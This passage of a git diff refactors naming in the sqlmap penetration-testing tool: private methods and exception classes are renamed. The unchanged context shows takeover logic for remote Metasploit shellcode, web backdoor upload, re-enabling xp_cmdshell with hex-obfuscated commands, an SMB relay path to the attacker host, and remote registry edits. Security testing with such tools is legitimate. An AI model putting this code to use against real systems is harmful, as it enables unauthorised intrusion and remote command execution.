self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) - def __runMsfShellcodeRemote(self): + def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") - def __runMsfShellcodeRemoteViaSexec(self): + def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) @@ -407,7 +407,7 @@ class Metasploit: self.execCmd(cmd, silent=True) - def __loadMetExtensions(self, proc, metSess): + def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return @@ -439,7 +439,7 @@ class Metasploit: proc.stdin.write("list_tokens -u\n") proc.stdin.write("getuid\n") - def __controlMsfCmd(self, proc, func): + def _controlMsfCmd(self, proc, func): stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) @@ -489,7 +489,7 @@ class Metasploit: metSess = re.search("Meterpreter session ([\d]+) opened", out) if metSess: - self.__loadMetExtensions(proc, metSess.group(1)) + self._loadMetExtensions(proc, metSess.group(1)) except EOFError: returncode = proc.wait() @@ -500,15 +500,15 @@ class Metasploit: infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) - self.__randStr = randomStr(lowercase=True) - self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr) + self._randStr = randomStr(lowercase=True) + self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) - self.__initVars() - self.__prepareIngredients(encode=encode) - self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra) + self._initVars() + self._prepareIngredients(encode=encode) + self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) - logger.debug("executing local command: %s" % self.__payloadCmd) - process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) + logger.debug("executing local command: %s" % self._payloadCmd) + process = execute(self._payloadCmd, shell=True, stdout=None, stderr=PIPE) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) @@ -529,13 +529,13 @@ class Metasploit: logger.debug(debugMsg) else: errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "") - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg - self.__shellcodeFP = codecs.open(self.__shellcodeFilePath, "rb") - self.shellcodeString = self.__shellcodeFP.read() - self.__shellcodeFP.close() + self._shellcodeFP = codecs.open(self._shellcodeFilePath, "rb") + self.shellcodeString = self._shellcodeFP.read() + self._shellcodeFP.close() - os.unlink(self.__shellcodeFilePath) + os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH @@ -546,7 +546,7 @@ class Metasploit: self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName - #__basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") + #__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") __basename = os.path.basename(self.shellcodeexecLocal) if web: @@ -566,18 +566,18 @@ class Metasploit: def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" - func = self.__runMsfShellcodeRemote + func = self._runMsfShellcodeRemote else: exitfunc = "process" - func = self.__runMsfShellcodeRemoteViaSexec + func = self._runMsfShellcodeRemoteViaSexec - self.__runMsfCli(exitfunc=exitfunc) + self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " - debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) + debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: @@ -585,26 +585,26 @@ class Metasploit: self.delRemoteFile(self.shellcodeexecRemote) def smb(self): - self.__initVars() - self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True) + self._initVars() + self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) - self.__runMsfCliSmbrelay() + self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): - self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) + self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) else: - self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) + self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " - debugMsg += "code %s" % self.__controlMsfCmd(self.__msfCliProc, self.uncPathRequest) + debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): - self.__runMsfCli(exitfunc="seh") + self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " - debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow) + debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index f8a1a9823..eb24f231d 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -16,68 +16,68 @@ class Registry: This class defines methods to read and write Windows registry keys """ - def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False): - self.__regKey = regKey - self.__regValue = regValue - self.__regType = regType - self.__regData = regData + def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): + self._regKey = regKey + self._regValue = regValue + self._regType = regType + self._regData = regData - self.__randStr = randomStr(lowercase=True) - self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr) - self.__batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr) + self._randStr = randomStr(lowercase=True) + self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) + self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) if parse: - readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" + readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: - readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"" + readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" - self.__batRead = ( + self._batRead = ( "@ECHO OFF\r\n", readParse ) - self.__batAdd = ( + self._batAdd = ( "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData) + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData) ) - self.__batDel = ( + self._batDel = ( "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue) + "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue) ) - def __createLocalBatchFile(self): - self.__batPathFp = open(self.__batPathLocal, "w") + def _createLocalBatchFile(self): + self._batPathFp = open(self._batPathLocal, "w") if self.__operation == "read": - lines = self.__batRead + lines = self._batRead elif self.__operation == "add": - lines = self.__batAdd + lines = self._batAdd elif self.__operation == "delete": - lines = self.__batDel + lines = self._batDel for line in lines: - self.__batPathFp.write(line) + self._batPathFp.write(line) - self.__batPathFp.close() + self._batPathFp.close() - def __createRemoteBatchFile(self): - logger.debug("creating batch file '%s'" % self.__batPathRemote) + def _createRemoteBatchFile(self): + logger.debug("creating batch file '%s'" % self._batPathRemote) - self.__createLocalBatchFile() - self.writeFile(self.__batPathLocal, self.__batPathRemote, "text") + self._createLocalBatchFile() + self.writeFile(self._batPathLocal, self._batPathRemote, "text") - os.unlink(self.__batPathLocal) + os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): self.__operation = "read" - self.__initVars(regKey, regValue, parse=parse) - self.__createRemoteBatchFile() + self._initVars(regKey, regValue, parse=parse) + self._createRemoteBatchFile() logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) - data = self.evalCmd(self.__batPathRemote) + data = self.evalCmd(self._batPathRemote) if data and not parse: pattern = ' ' @@ -85,32 +85,32 @@ class Registry: if index != -1: data = data[index + len(pattern):] - self.delRemoteFile(self.__batPathRemote) + self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): self.__operation = "add" - self.__initVars(regKey, regValue, regType, regData) - self.__createRemoteBatchFile() + self._initVars(regKey, regValue, regType, regData) + self._createRemoteBatchFile() - debugMsg = "adding registry key value '%s' " % self.__regValue - debugMsg += "to registry key '%s'" % self.__regKey + debugMsg = "adding registry key value '%s' " % self._regValue + debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) - self.execCmd(cmd=self.__batPathRemote) - self.delRemoteFile(self.__batPathRemote) + self.execCmd(cmd=self._batPathRemote) + self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): self.__operation = "delete" - self.__initVars(regKey, regValue) - self.__createRemoteBatchFile() + self._initVars(regKey, regValue) + self._createRemoteBatchFile() - debugMsg = "deleting registry key value '%s' " % self.__regValue - debugMsg += "from registry key '%s'" % self.__regKey + debugMsg = "deleting registry key value '%s' " % self._regValue + debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) - self.execCmd(cmd=self.__batPathRemote) - self.delRemoteFile(self.__batPathRemote) + self.execCmd(cmd=self._batPathRemote) + self.delRemoteFile(self._batPathRemote) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 3eb18a645..03ac3f278 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -21,10 +21,10 @@ from lib.core.enums import EXPECTED from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.common import unArrayizeValue -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject @@ -39,7 +39,7 @@ class UDF: self.udfs = {} self.udfToCreate = set() - def __askOverwriteUdf(self, udf): + def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " output = readInput(message, default="N") @@ -49,18 +49,18 @@ class UDF: else: return False - def __checkExistUdf(self, udf): + def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): - exists = self.__checkExistUdf(udf) + exists = self._checkExistUdf(udf) overwrite = True if exists: - overwrite = self.__askOverwriteUdf(udf) + overwrite = self._askOverwriteUdf(udf) if overwrite: self.udfToCreate.add(udf) @@ -126,15 +126,15 @@ class UDF: def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf=None, inpRet=None): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): for udf in udfDict.keys(): @@ -166,7 +166,7 @@ class UDF: def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ): errMsg = "UDF injection feature is not yet implemented on %s" % Backend.getIdentifiedDbms() - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return @@ -193,21 +193,21 @@ class UDF: if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" - raise sqlmapFilePathException(errMsg) + raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] @@ -305,7 +305,7 @@ class UDF: return elif choice[0] in ( "q", "Q" ): self.cleanup(udfDict=self.udfs) - raise sqlmapUserQuitException + raise SqlmapUserQuitException while True: udfList = [] diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 7963eae39..52a716c64 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -84,12 +84,12 @@ class Web: def webFileUpload(self, fileToUpload, destFileName, directory): inputFP = codecs.open(fileToUpload, "rb") - retVal = self.__webFileStreamUpload(inputFP, destFileName, directory) + retVal = self._webFileStreamUpload(inputFP, destFileName, directory) inputFP.close() return retVal - def __webFileStreamUpload(self, stream, destFileName, directory): + def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind if self.webApi in getPublicTypeMembers(WEB_API, True): @@ -113,7 +113,7 @@ class Web: else: return True - def __webFileInject(self, fileContent, fileName, directory): + def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.normpath("%s/%s" % (directory, fileName)) uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" @@ -239,7 +239,7 @@ class Web: uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager - self.__webFileInject(stagerContent, stagerName, localPath) + self._webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) @@ -306,15 +306,15 @@ class Web: backdoorStream.seek(0) backdoorStream.write(backdoorContent) - if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): - self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) + if self._webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): + self._webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: - if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): + if not self._webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " @@ -330,7 +330,7 @@ class Web: getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): - self.__webFileInject(backdoorContent, backdoorName, localPath) + self._webFileInject(backdoorContent, backdoorName, localPath) else: continue diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index a51864778..9ee61228a 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -28,7 +28,7 @@ from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData from lib.request import inject @@ -41,7 +41,7 @@ class Xp_cmdshell: def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" - def __xpCmdshellCreate(self): + def _xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): @@ -50,18 +50,18 @@ class Xp_cmdshell: cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) - self.__randStr = randomStr(lowercase=True) - self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) - self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew + self._randStr = randomStr(lowercase=True) + self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) + self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew - cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew) + cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr, XP_CMDSHELL_NEW=self._xpCmdshellNew) if Backend.isVersionWithin(("2005", "2008")): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) - def __xpCmdshellConfigure2005(self, mode): + def _xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) @@ -70,7 +70,7 @@ class Xp_cmdshell: return cmd - def __xpCmdshellConfigure2000(self, mode): + def _xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) @@ -82,21 +82,21 @@ class Xp_cmdshell: return cmd - def __xpCmdshellConfigure(self, mode): + def _xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2005", "2008")): - cmd = self.__xpCmdshellConfigure2005(mode) + cmd = self._xpCmdshellConfigure2005(mode) else: - cmd = self.__xpCmdshellConfigure2000(mode) + cmd = self._xpCmdshellConfigure2000(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) - def __xpCmdshellCheck(self): + def _xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) return wasLastRequestDelayed() - def __xpCmdshellTest(self): + def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True @@ -160,10 +160,10 @@ class Xp_cmdshell: # Obfuscate the command to execute, also useful to bypass filters # on single-quotes - self.__randStr = randomStr(lowercase=True) + self._randStr = randomStr(lowercase=True) self.__cmd = "0x%s" % hexencode(cmd) - self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr - self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) + self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr + self._forgedCmd += "SET @%s=%s;" % (self._randStr, self.__cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because @@ -171,11 +171,11 @@ class Xp_cmdshell: # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: - self.__forgedCmd += "INSERT INTO %s " % insertIntoTable + self._forgedCmd += "INSERT INTO %s " % insertIntoTable - self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) + self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) - return agent.runAsDBMSUser(self.__forgedCmd) + return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): cmd = self.xpCmdshellForgeCmd(cmd) @@ -237,7 +237,7 @@ class Xp_cmdshell: infoMsg += "available, please wait.." logger.info(infoMsg) - result = self.__xpCmdshellCheck() + result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") @@ -250,9 +250,9 @@ class Xp_cmdshell: choice = readInput(message, default="Y") if not choice or choice in ("y", "Y"): - self.__xpCmdshellConfigure(1) + self._xpCmdshellConfigure(1) - if self.__xpCmdshellCheck(): + if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True @@ -260,10 +260,10 @@ class Xp_cmdshell: logger.warn("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") - self.__xpCmdshellConfigure(0) - self.__xpCmdshellCreate() + self._xpCmdshellConfigure(0) + self._xpCmdshellCreate() - if self.__xpCmdshellCheck(): + if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True @@ -276,7 +276,7 @@ class Xp_cmdshell: if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg debugMsg = "creating a support table to write commands standard " debugMsg += "output to" @@ -286,4 +286,4 @@ class Xp_cmdshell: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") - self.__xpCmdshellTest() + self._xpCmdshellTest() diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index a11f10586..495a4a3e1 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -33,7 +33,7 @@ from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapThreadException +from lib.core.exception import SqlmapThreadException from lib.core.progress import ProgressBar from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK @@ -546,7 +546,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None logger.info(infoMsg) if kb.threadException: - raise sqlmapThreadException, "something unexpected happened inside the threads" + raise SqlmapThreadException, "something unexpected happened inside the threads" if abortedFlag: raise KeyboardInterrupt diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 72624d6af..c605200d6 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -23,8 +23,8 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS -from lib.core.exception import sqlmapDataException -from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.settings import METADB_SUFFIX from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE @@ -32,7 +32,7 @@ from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject -def __addPageTextWords(): +def _addPageTextWords(): wordsList = [] infoMsg = "adding words used on web page to the check list" @@ -53,14 +53,14 @@ def tableExists(tableFile, regex=None): errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" - raise sqlmapDataException, errMsg + raise SqlmapDataException, errMsg tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) - tables.extend(__addPageTextWords()) + tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) threadData = getCurrentThreadData() @@ -138,20 +138,20 @@ def tableExists(tableFile, regex=None): def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" - raise sqlmapDataException, errMsg + raise SqlmapDataException, errMsg infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) - columns.extend(__addPageTextWords()) + columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 9b5d19557..529f5e0a2 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -11,7 +11,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE -from lib.core.exception import sqlmapNotVulnerableException +from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse @@ -28,7 +28,7 @@ def dnsTest(payload): errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: - raise sqlmapNotVulnerableException, errMsg + raise SqlmapNotVulnerableException, errMsg else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 1707512df..7c5d08c64 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -45,7 +45,7 @@ from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request -def __oneShotErrorUse(expression, field=None): +def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() @@ -53,7 +53,7 @@ def __oneShotErrorUse(expression, field=None): if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") - dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), __formatPartialContent(partialValue))) + dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), _formatPartialContent(partialValue))) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue @@ -133,7 +133,7 @@ def __oneShotErrorUse(expression, field=None): break if kb.fileReadMode and output: - dataToStdout(__formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) + dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break @@ -146,7 +146,7 @@ def __oneShotErrorUse(expression, field=None): if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("
", "\n") - retVal = __errorReplaceChars(retVal) + retVal = _errorReplaceChars(retVal) hashDBWrite(expression, retVal) @@ -156,7 +156,7 @@ def __oneShotErrorUse(expression, field=None): return safecharencode(retVal) if kb.safeCharEncode else retVal -def __errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None): +def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None): outputs = [] origExpr = None @@ -177,7 +177,7 @@ def __errorFields(expression, expressionFields, expressionFieldsList, num=None, else: expressionReplaced = expression.replace(expressionFields, field, 1) - output = NULL if emptyFields and field in emptyFields else __oneShotErrorUse(expressionReplaced, field) + output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) if not kb.threadContinue: return None @@ -194,7 +194,7 @@ def __errorFields(expression, expressionFields, expressionFieldsList, num=None, return outputs -def __errorReplaceChars(value): +def _errorReplaceChars(value): """ Restores safely replaced characters """ @@ -206,7 +206,7 @@ def __errorReplaceChars(value): return retVal -def __formatPartialContent(value): +def _formatPartialContent(value): """ Prepares (possibly hex) partial content for safe console output """ @@ -315,7 +315,7 @@ def errorUse(expression, dump=False): countedExpression = countedExpression[:countedExpression.index(" ORDER BY ")] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) - count = __oneShotErrorUse(countedExpression, countedExpressionFields) + count = _oneShotErrorUse(countedExpression, countedExpressionFields) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: @@ -360,7 +360,7 @@ def errorUse(expression, dump=False): if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: - if __oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': + if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" @@ -383,7 +383,7 @@ def errorUse(expression, dump=False): except StopIteration: break - output = __errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields) + output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields) if not kb.threadContinue: break @@ -407,7 +407,7 @@ def errorUse(expression, dump=False): kb.suppressResumeInfo = False if not outputs and not abortedFlag: - outputs = __errorFields(expression, expressionFields, expressionFieldsList) + outputs = _errorFields(expression, expressionFields, expressionFieldsList) if outputs and isListLike(outputs) and len(outputs) == 1 and isinstance(outputs[0], basestring): outputs = outputs[0] diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index e23c04f86..d9e4a18f6 100644 --- 